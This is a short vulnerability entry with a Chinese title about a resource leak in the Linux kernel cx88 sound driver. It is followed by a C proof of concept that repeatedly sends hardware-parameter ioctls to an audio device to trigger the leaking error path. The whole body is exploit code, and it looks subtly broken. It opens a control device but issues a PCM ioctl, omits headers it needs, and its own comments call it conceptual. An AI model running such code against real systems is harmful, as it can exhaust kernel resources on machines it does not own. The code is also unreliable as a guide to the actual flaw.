CVE-2026-43257: Linux内核cx88驱动资源释放漏洞

// PoC for CVE-2026-43257: Resource leak in cx88 driver // This code attempts to trigger the error path in snd_cx88_hw_params // by opening the audio device and setting invalid parameters repeatedly. #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <sound/asound.h> #define DEVICE "/dev/snd/controlC0" // Or specific cx88 audio device int main() { int fd = open(DEVICE, O_RDWR); if (fd < 0) { perror("Failed to open device"); return -1; } struct snd_pcm_hw_params params; // Initialize params to potentially invalid values to trigger error path // Note: Actual triggering depends on specific driver implementation details memset(&params, 0, sizeof(params)); for (int i = 0; i < 10000; i++) { // Attempt to set hardware parameters to force allocation and error // This is a conceptual PoC; exact trigger requires specific hardware state if (ioctl(fd, SNDRV_PCM_IOCTL_HW_PARAMS, &params) < 0) { // Error expected to trigger the bug path // Resource leak occurs here if unmap is skipped } } close(fd); return 0; }